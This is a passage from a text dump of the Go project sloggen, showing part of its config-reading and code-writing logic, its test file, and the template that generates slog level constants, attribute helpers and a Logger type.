data.Imports, Levels: make(map[int]string, len(data.Levels)), Consts: data.Consts, Attrs: make(map[string]string, len(data.Attrs)), } for _, m := range data.Levels { name, severity := firstKV(m) cfg.Levels[severity] = name } for _, m := range data.Attrs { key, typ := firstKV(m) cfg.Attrs[key] = typ } if data.Logger != nil { if data.Logger.API != "any" && data.Logger.API != "attr" { return nil, fmt.Errorf("sloggen: logger.api=%s: invalid value", data.Logger.API) } cfg.Logger = &logger{ AttrAPI: data.Logger.API == "attr", Context: data.Logger.Ctx, } } cfg.prepare() return &cfg, nil } func writeCode(w io.Writer, cfg *config) error { var buf bytes.Buffer if err := tmpl.Execute(&buf, cfg); err != nil { return fmt.Errorf("executing template: %w", err) } src, err := imports.Process("", buf.Bytes(), nil) if err != nil { return fmt.Errorf("formatting code: %w", err) } if _, err := w.Write(src); err != nil { return fmt.Errorf("writing code: %w", err) } return nil } //nolint:gocritic // unnamedResult: generics false positive. func firstKV[V any](m map[string]V) (string, V) { for k, v := range m { return k, v } return "", *new(V) } ``` ## /sloggen_test.go ```go path="/sloggen_test.go" package main import ( "bytes" "context" "log/slog" "path/filepath" "strings" "testing" "go-simpler.org/assert" . "go-simpler.org/assert/EF" "go-simpler.org/sloggen/example" ) var cfg = config{ Pkg: "test", Imports: []string{"fmt", "log/slog", "strings", "time"}, Levels: map[int]string{1: "custom"}, Consts: []string{"foo"}, Attrs: map[string]string{ "bar": "time.Time", "baz": "time.Duration", }, } func Test_readFlags(t *testing.T) { args := []string{ "-pkg=test", "-i=time", "-l=custom:1", "-c=foo", "-a=bar:time.Time", "-a=baz:time.Duration", } got, err := readFlags(args) assert.NoErr[F](t, err) assert.Equal[E](t, got, &cfg) } func Test_readConfig(t *testing.T) { r := strings.NewReader(` pkg: test imports: - time levels: - custom: 1 consts: - foo attrs: - bar: time.Time - baz: time.Duration `) got, err := readConfig(r) assert.NoErr[F](t, err) assert.Equal[E](t, got, &cfg) } func Test_writeCode(t *testing.T) { const src = `// Code generated by go-simpler.org/sloggen. DO NOT EDIT. package test import ( "fmt" "log/slog" "strings" "time" ) const LevelCustom = slog.Level(1) const Foo = "foo" func Bar(value time.Time) slog.Attr { return slog.Time("bar", value) } func Baz(value time.Duration) slog.Attr { return slog.Duration("baz", value) } func ParseLevel(s string) (slog.Level, error) { switch strings.ToUpper(s) { case "CUSTOM": return LevelCustom, nil default: return 0, fmt.Errorf("slog: level string %q: unknown name", s) } } func RenameLevels(_ []string, attr slog.Attr) slog.Attr { if attr.Key != slog.LevelKey { return attr } switch attr.Value.Any().(slog.Level) { case LevelCustom: attr.Value = slog.StringValue("CUSTOM") } return attr } ` var buf bytes.Buffer err := writeCode(&buf, &cfg) assert.NoErr[F](t, err) assert.Equal[E](t, buf.String(), src) } func TestExample(t *testing.T) { replaceAttr := func(groups []string, attr slog.Attr) slog.Attr { if attr.Key == slog.TimeKey { return slog.Attr{} } if attr.Key == slog.SourceKey { src := attr.Value.Any().(*slog.Source) src.File = filepath.Base(src.File) } return example.RenameLevels(groups, attr) } var buf bytes.Buffer handler := slog.NewTextHandler(&buf, &slog.HandlerOptions{ AddSource: true, Level: example.LevelInfo, ReplaceAttr: replaceAttr, }) logger := example.New(handler). WithGroup("group"). With(slog.String("key", "value")) level, err := example.ParseLevel("ALERT") assert.NoErr[F](t, err) assert.Equal[E](t, level, example.LevelAlert) ctx := context.Background() enabled := logger.Enabled(ctx, level) assert.Equal[E](t, enabled, true) logger.Info(ctx, "foo") logger.Alert(ctx, "bar") logger.Log(ctx, level, "baz") assert.Equal[E](t, "\n"+buf.String(), ` level=INFO source=sloggen_test.go:137 msg=foo group.key=value level=ALERT source=sloggen_test.go:138 msg=bar group.key=value level=ALERT source=sloggen_test.go:139 msg=baz group.key=value `) } ``` ## /template.go.tmpl ```tmpl path="/template.go.tmpl" // Code generated by go-simpler.org/sloggen. DO NOT EDIT. package {{$.Pkg}} {{range $.Imports -}} import "{{.}}" {{end}} {{range $severity, $name := $.Levels -}} const Level{{title $name}} = slog.Level({{$severity}}) {{end}} {{range $.Consts -}} const {{camel .}} = "{{.}}" {{end}} {{range $key, $type := $.Attrs -}} func {{camel $key}}(value {{$type}}) slog.Attr { return slog.{{slogFunc $type}}("{{$key}}", value) } {{end}} {{if gt (len $.Levels) 0}} func ParseLevel(s string) (slog.Level, error) { switch strings.ToUpper(s) { {{range $_, $name := $.Levels -}} case "{{upper $name}}": return Level{{title $name}}, nil {{end -}} default: return 0, fmt.Errorf("slog: level string %q: unknown name", s) } } func RenameLevels(_ []string, attr slog.Attr) slog.Attr { if attr.Key != slog.LevelKey { return attr } switch attr.Value.Any().(slog.Level) { {{range $_, $name := $.Levels -}} case Level{{title $name}}: attr.Value = slog.StringValue("{{upper $name}}") {{end -}} } return attr } {{end}} {{if $l := $.Logger}} type Logger struct{ handler slog.Handler } func New(h slog.Handler) *Logger { return &Logger{handler: h} } func (l *Logger) Handler() slog.Handler { return l.handler } func (l *Logger) Enabled(ctx context.Context, level slog.Level) bool { return l.handler.Enabled(ctx, level) } func (l *Logger) With({{if $l.AttrAPI}}attrs ...slog.Attr{{else}}args ...any{{end}}) *Logger { if len({{if $l.AttrAPI}}attrs{{else}}args{{end}}) == 0 { return l } return &Logger{handler: l.handler.WithAttrs({{if $l.AttrAPI}}attrs{{else}}args2attrs(args){{end}})} } func (l *Logger) WithGroup(name string) *Logger { if name == "" { return l } return &Logger{handler: l.handler.WithGroup(name)} } func (l *Logger) Log({{if $l.Context}}ctx context.Context, {{end}}level slog.Level, msg string, {{if $l.AttrAPI}}attrs ...slog.Attr{{else}}args ...any{{end}}) { l.log({{if $l.Context}}ctx{{else}}context.Background(){{end}}, level, msg, {{if $l.AttrAPI}}attrs{{else}}args{{end}}) } {{range $_, $name := $l.Levels}} func (l *Logger) {{title $name}}({{if $l.Context}}ctx context.Context, {{end}}msg string, {{if $l.AttrAPI}}attrs ...slog.Attr{{else}}args ...any{{end}}) { l.log({{if $l.Context}}ctx{{else}}context.Background(){{end}}, {{if eq (len $.Levels) 0}}slog.{{end}}Level{{title $name}}, msg, {{if $l.AttrAPI}}attrs{{else}}args{{end}}) } {{end}} func (l *Logger) log(ctx context.Context, level slog.Level, msg string, {{if $l.AttrAPI}}attrs []slog.Attr{{else}}args []any{{end}}) { if !l.handler.Enabled(ctx, level) { return } var pcs [1]uintptr runtime.Callers(3, pcs[:]) r := slog.NewRecord(time.Now(), level, msg, pcs[0]) r.Add{{if $l.AttrAPI}}Attrs(attrs...){{else}}(args...){{end}} _ = l.handler.Handle(ctx, r) } {{if not $l.AttrAPI}} {{/* based on argsToAttrSlice() and argsToAttr() from log/slog sources. */}} func args2attrs(args []any) []slog.Attr { var attrs []slog.Attr for len(args) > 0 { switch x := args[0].(type) { case string: if len(args) == 1 { attrs, args = append(attrs, slog.String("!BADKEY", x)), nil } else { attrs, args = append(attrs, slog.Any(x, args[1])), args[2:] } case slog.Attr: attrs, args = append(attrs, x), args[1:] default: attrs, args = append(attrs, slog.Any("!BADKEY", x)), args[1:] } } return attrs } {{end}} {{end}} ``` The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.